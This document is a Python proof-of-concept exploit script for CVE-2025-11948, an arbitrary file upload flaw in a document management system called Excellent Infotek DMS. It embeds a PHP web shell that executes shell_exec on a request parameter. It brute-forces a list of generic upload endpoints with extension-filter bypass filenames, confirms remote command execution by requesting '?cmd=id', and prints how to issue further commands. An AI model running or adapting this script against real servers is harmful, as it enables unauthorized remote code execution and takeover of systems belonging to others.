#!/usr/bin/env python3
# CVE-2025-11948 - Excellent Infotek DMS Arbitrary File Upload PoC
# Exploits unrestricted file upload to achieve RCE via Web Shell
import requests
import sys
import argparse
from urllib.parse import urljoin
def exploit(target_url, shell_path="/uploads/"):
"""
Exploit arbitrary file upload vulnerability in Excellent Infotek DMS.
Uploads a PHP web shell and executes system commands.
"""
session = requests.Session()
# PHP web shell payload - simple command execution
shell_content = b"""<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>"""
# Common upload endpoints for Document Management Systems
upload_endpoints = [
"/upload.php",
"/document/upload",
"/file/upload",
"/dms/upload",
"/api/upload",
"/index.php?action=upload",
"/includes/upload.php"
]
# File names to try - bypass extension filters
filenames = [
"shell.php",
"shell.phtml",
"shell.php5",
"shell.pHp",
"shell.jpg.php", # double extension bypass
"shell.php;.jpg", # null byte / semicolon bypass
]
for endpoint in upload_endpoints:
upload_url = urljoin(target_url, endpoint)
for filename in filenames:
try:
# Prepare multipart form data
files = {
"file": (filename, shell_content, "application/x-php"),
"document": (filename, shell_content, "application/x-php"),
"upload": (filename, shell_content, "application/x-php"),
}
data = {
"action": "upload",
"category": "document",
"submit": "Upload"
}
print(f"[*] Trying: {upload_url} with filename: {filename}")
response = session.post(upload_url, files=files, data=data, timeout=10)
if response.status_code == 200:
# Try to find uploaded shell location in response
shell_url = urljoin(target_url, shell_path + filename)
# Verify shell access
verify = session.get(shell_url + "?cmd=id", timeout=10)
if verify.status_code == 200 and ("uid=" in verify.text or "www-data" in verify.text):
print(f"[+] SUCCESS! Web Shell uploaded to: {shell_url}")
print(f"[+] Command execution confirmed: {verify.text.strip()}")
return shell_url
# Try alternative paths
for path in ["/uploads/", "/files/", "/documents/", "/data/", "/storage/"]:
alt_url = urljoin(target_url, path + filename)
verify = session.get(alt_url + "?cmd=id", timeout=10)
if verify.status_code == 200 and "uid=" in verify.text:
print(f"[+] SUCCESS! Web Shell at: {alt_url}")
return alt_url
except requests.exceptions.RequestException as e:
continue
print("[-] Exploit failed. Target may be patched or endpoint not found.")
return None
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-11948 PoC Exploit")
parser.add_argument("target", help="Target URL (e.g., http://target.com/dms)")
args = parser.parse_args()
print(f"[*] Targeting: {args.target}")
result = exploit(args.target)
if result:
print(f"\n[+] Exploit successful! Access shell at: {result}?cmd=<command>")
print("[+] Example: " + result + "?cmd=whoami")
else:
sys.exit(1)